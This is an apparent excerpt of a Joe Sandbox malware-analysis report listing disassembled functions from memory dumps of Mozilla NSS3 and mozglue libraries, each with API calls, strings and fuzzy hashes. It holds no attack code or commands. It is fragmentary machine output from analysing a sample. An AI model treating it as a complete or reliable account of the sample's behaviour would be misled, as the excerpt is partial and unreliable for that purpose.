SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404EC0

Part of subcall function 6C404470: TlsGetValue.KERNEL32(00000000,?,6C3C7296,00000000), ref: 6C404487
Part of subcall function 6C404470: EnterCriticalSection.KERNEL32(?,?,?,6C3C7296,00000000), ref: 6C4044A0
Part of subcall function 6C404470: PR_Unlock.NSS3(?,?,?,?,6C3C7296,00000000), ref: 6C4044BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404F8F
PK11_UpdateSlotAttribute.NSS3(?,6C4DDCB0,00000000), ref: 6C404FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C40501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C40506B

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 7e1ee35a1e7df893d8e5b74e97c8d51102d6ee4c42cb16c6eaebede2161e9e5d
Instruction ID: f4c97b79a6a198b3af1cfd8715554d637ccadc4c81db953c824531dfa07c07a0
Opcode Fuzzy Hash: 7e1ee35a1e7df893d8e5b74e97c8d51102d6ee4c42cb16c6eaebede2161e9e5d
Instruction Fuzzy Hash: BC51DFB1B402019BEB01EF24EC05EAA37B4FF1635DF050539E84696B11EB32E925CAD6

Function 6C3AACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3AACE2
malloc.MOZGLUE(00000001), ref: 6C3AACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C3AAD02
TlsGetValue.KERNEL32 ref: 6C3AAD3C
calloc.MOZGLUE(00000001,?), ref: 6C3AAD8C
PR_Unlock.NSS3 ref: 6C3AADC0
free.MOZGLUE(00000000), ref: 6C3AAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C3AAE58
free.MOZGLUE(00000000), ref: 6C3AAE69
free.MOZGLUE(?), ref: 6C3AAE78
PR_Unlock.NSS3 ref: 6C3AAE8C
free.MOZGLUE(?), ref: 6C3AAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3AAEC7

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6ef9ec89f06fdab33cc0802785c203e1073d2a2a59462330faf7b4e71e475272
Instruction ID: 80ea577a745bfc3b98f75212daae5129feaeffd61bd6344f0f596fc46aaa3025
Opcode Fuzzy Hash: 6ef9ec89f06fdab33cc0802785c203e1073d2a2a59462330faf7b4e71e475272
Instruction Fuzzy Hash: E2518172E011159BDF00DF98CC46A6F77B8FB16349F150129D845A7E10D332A966CFEA

Function 6C484C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C484CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C484CFD
sqlite3_value_text16.NSS3(?), ref: 6C484D44

Strings

out of memory, xrefs: 6C484C78, 6C484C9E
unknown error, xrefs: 6C484D56
abort due to ROLLBACK, xrefs: 6C484D27, 6C484D33
API call with %s database connection pointer, xrefs: 6C484CF6
no more rows available, xrefs: 6C484D2E
bad parameter or other API misuse, xrefs: 6C484D05
another row available, xrefs: 6C484D20
invalid, xrefs: 6C484CF1

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 7a9a0e1eed630ab1346b2aa6ef4600866eaaa6f3d10517b5797eb83facd89713
Instruction ID: 02b7903991ca0fa4c537630d0992965ceb9fb168ae5e23c786901fb64c17521d
Opcode Fuzzy Hash: 7a9a0e1eed630ab1346b2aa6ef4600866eaaa6f3d10517b5797eb83facd89713
Instruction Fuzzy Hash: 74317CB3E0785157E704C628A831FE4B3AD7B8639AF17212AD4244BF54D725EC5287D3

Function 6C2DEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2A4A68), ref: 6C2D945E
Part of subcall function 6C2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C2D9470
Part of subcall function 6C2D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C2D9482
Part of subcall function 6C2D9420: __Init_thread_footer.LIBCMT ref: 6C2D949F

GetCurrentThreadId.KERNEL32 ref: 6C2DEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C2DEC8C

Part of subcall function 6C2D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2D94EE
Part of subcall function 6C2D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C2D9508

GetCurrentThreadId.KERNEL32 ref: 6C2DECA1
AcquireSRWLockExclusive.KERNEL32(6C31F4B8), ref: 6C2DECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C2DECC5
ReleaseSRWLockExclusive.KERNEL32(6C31F4B8), ref: 6C2DED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C2DED19
CloseHandle.KERNEL32(?), ref: 6C2DED28
free.MOZGLUE(00000000), ref: 6C2DED2F
ReleaseSRWLockExclusive.KERNEL32(6C31F4B8), ref: 6C2DED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C2DEC94

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: f0af211f182c85c94eeeb9babb08ce32d297e425f115454713e061c59a0b28e1
Instruction ID: 7791ab32ab8468b4abce7cbb9be6caaa098668b409ccc9a603a3979fce2cd7b8
Opcode Fuzzy Hash: f0af211f182c85c94eeeb9babb08ce32d297e425f115454713e061c59a0b28e1
Instruction Fuzzy Hash: 9721D0B5600108AFDB009F25E805B9A7B7DEF6A26DF124210FC189BB41DF35A8158BA1

Function 6C3E2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C3E2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C3E2D07

Part of subcall function 6C4C09D0: PR_Now.NSS3 ref: 6C4C0A22
Part of subcall function 6C4C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C4C0A35
Part of subcall function 6C4C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C4C0A66
Part of subcall function 6C4C09D0: PR_GetCurrentThread.NSS3 ref: 6C4C0A70
Part of subcall function 6C4C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C4C0A9D
Part of subcall function 6C4C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C4C0AC8
Part of subcall function 6C4C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C4C0AE8
Part of subcall function 6C4C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C4C0B19
Part of subcall function 6C4C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C4C0B48
Part of subcall function 6C4C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C4C0C76
Part of subcall function 6C4C09D0: PR_LogFlush.NSS3 ref: 6C4C0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C3E2D22

Part of subcall function 6C4C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C4C0B88
Part of subcall function 6C4C09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4C0C5D
Part of subcall function 6C4C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C4C0C8D
Part of subcall function 6C4C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C4C0C9C
Part of subcall function 6C4C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C4C0CD1
Part of subcall function 6C4C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C4C0CEC
Part of subcall function 6C4C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C4C0CFB
Part of subcall function 6C4C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C4C0D16
Part of subcall function 6C4C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C4C0D26
Part of subcall function 6C4C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C4C0D35
Part of subcall function 6C4C09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C4C0D65
Part of subcall function 6C4C09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C4C0D70
Part of subcall function 6C4C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C4C0D90
Part of subcall function 6C4C09D0: free.MOZGLUE(00000000), ref: 6C4C0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C3E2D3B

Part of subcall function 6C4C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C4C0BAB
Part of subcall function 6C4C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C4C0BBA
Part of subcall function 6C4C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C4C0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C3E2D54

Part of subcall function 6C4C09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4C0BCB
Part of subcall function 6C4C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C4C0BDE
Part of subcall function 6C4C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C4C0C16

Strings

pPin = 0x%p, xrefs: 6C3E2D1D
C_InitToken, xrefs: 6C3E2CE7
nLl, xrefs: 6C3E2D6C, 6C3E2D9A
ulPinLen = %d, xrefs: 6C3E2D36
pLabel = 0x%p, xrefs: 6C3E2D4F
slotID = 0x%x, xrefs: 6C3E2D02

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nLl
API String ID: 420000887-999980924
Opcode ID: 591721a24199ea8987789e8dabdfd3549db56f79a577655a3e43fafb53186370
Instruction ID: 01958b4e4a776a97163d5e59ebd4294592a55e8be3ff5090faaddca40d05d875
Opcode Fuzzy Hash: 591721a24199ea8987789e8dabdfd3549db56f79a577655a3e43fafb53186370
Instruction Fuzzy Hash: A121D679240195EFDB00EF54DE4DF463BB5EB8A32DF06401AE60497E22DB319818CFA2

Function 6C482D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C482D9F

Part of subcall function 6C33CA30: EnterCriticalSection.KERNEL32(?,?,?,6C39F9C9,?,6C39F4DA,6C39F9C9,?,?,6C36369A), ref: 6C33CA7A
Part of subcall function 6C33CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C33CB26

sqlite3_exec.NSS3(?,?,6C482F70,?,?), ref: 6C482DF9
sqlite3_free.NSS3(00000000), ref: 6C482E2C
sqlite3_free.NSS3(?), ref: 6C482E3A
sqlite3_free.NSS3(?), ref: 6C482E52
sqlite3_mprintf.NSS3(6C4EAAF9,?), ref: 6C482E62
sqlite3_free.NSS3(?), ref: 6C482E70
sqlite3_free.NSS3(?), ref: 6C482E89
sqlite3_free.NSS3(?), ref: 6C482EBB
sqlite3_free.NSS3(?), ref: 6C482ECB
sqlite3_free.NSS3(00000000), ref: 6C482F3E
sqlite3_free.NSS3(?), ref: 6C482F4C

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: dc9af492e7764e8ab0c8c2c7243a71a369a296f44b11a717c173edf09f1e7a60
Instruction ID: bd82356e9751036eb410828d32263f34df61377f11fbb7cb1f3fec56c658f221
Opcode Fuzzy Hash: dc9af492e7764e8ab0c8c2c7243a71a369a296f44b11a717c173edf09f1e7a60
Instruction Fuzzy Hash: 05617EB5E022158FEB10CF68D884FAEBBF1AF48349F144028DD55A7751EB35E845CBA1

Function 6C334C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CB0
PR_Unlock.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334D97
PR_Lock.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334DBA
PR_WaitCondVar.NSS3 ref: 6C334DD4
PR_Unlock.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334DEF

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: f0be41b27b29585201f23667bc295b383a271f441e8d6f1cc38cbd4af862d8d3
Instruction ID: 93e5a3c2bfc8879ebd6590e9f6d53057f159931fbe1b131ffac14acad8489337
Opcode Fuzzy Hash: f0be41b27b29585201f23667bc295b383a271f441e8d6f1cc38cbd4af862d8d3
Instruction Fuzzy Hash: 7F416EB5A046A5CFCB00EF78D488559BBB4FF06318F064669D8889BB11E732D884CF96

Function 6C3D8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C3D8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C3D8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C3D8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C3D9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C3D9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C3D905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C3D9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C3D90EC

Part of subcall function 6C3A0F00: PR_GetPageSize.NSS3(6C3A0936,FFFFE8AE,?,6C3316B7,00000000,?,6C3A0936,00000000,?,6C33204A), ref: 6C3A0F1B
Part of subcall function 6C3A0F00: PR_NewLogModule.NSS3(clock,6C3A0936,FFFFE8AE,?,6C3316B7,00000000,?,6C3A0936,00000000,?,6C33204A), ref: 6C3A0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C3CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C3D9111

Strings

nLl, xrefs: 6C3D90A3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nLl
API String ID: 2831689957-3118956914
Opcode ID: b02369a5b656da25c1ab6b8af75103f2296858dd8803f30d9d2536be77896b8f
Instruction ID: 275fb25b07cd5894e8e3b6b0e801ab6869a004d1db4448c4f37ecaa5f3f2021a
Opcode Fuzzy Hash: b02369a5b656da25c1ab6b8af75103f2296858dd8803f30d9d2536be77896b8f
Instruction Fuzzy Hash: 23517A71A043048FDB00EF78C898699BBF5BF4A318F065569DC459BB05EB32E885CF92

Function 6C3D4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C3D4E90
EnterCriticalSection.KERNEL32 ref: 6C3D4EA9
TlsGetValue.KERNEL32 ref: 6C3D4EC6
EnterCriticalSection.KERNEL32 ref: 6C3D4EDF
PL_HashTableLookup.NSS3 ref: 6C3D4EF8
PR_Unlock.NSS3 ref: 6C3D4F05
PR_Now.NSS3 ref: 6C3D4F13
PR_Unlock.NSS3 ref: 6C3D4F3A

Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07AD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07CD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07D6
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C33204A), ref: 6C3A07E4
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,6C33204A), ref: 6C3A0864
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C3A0880
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C33204A), ref: 6C3A08CB
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08D7
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08FB

Strings

bU=l, xrefs: 6C3D4E5C
bU=l, xrefs: 6C3D4F3F

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU=l$bU=l
API String ID: 326028414-3727520839
Opcode ID: ffb005cf63654391381f233edad97c2592b3b6cc63a52bf794a44e4533613257
Instruction ID: 8838c847dba573e39a456df6ac149a4e8df57789073b219e0dffa7eea6d2bf6f
Opcode Fuzzy Hash: ffb005cf63654391381f233edad97c2592b3b6cc63a52bf794a44e4533613257
Instruction Fuzzy Hash: 5C414FB5A006059FCB00DF68C4848AABBF4FF49304B028569DC59DB714EB31E855CFE2

Function 6C3E6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C3E6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E6CA3

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C3E6CD5

Strings

C_DigestInit, xrefs: 6C3E6C61
(CK_INVALID_HANDLE), xrefs: 6C3E6C9C
nLl, xrefs: 6C3E6CF4, 6C3E6D1F
pMechanism = 0x%p, xrefs: 6C3E6CD0
hSession = 0x%x, xrefs: 6C3E6C7E, 6C3E6C8E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

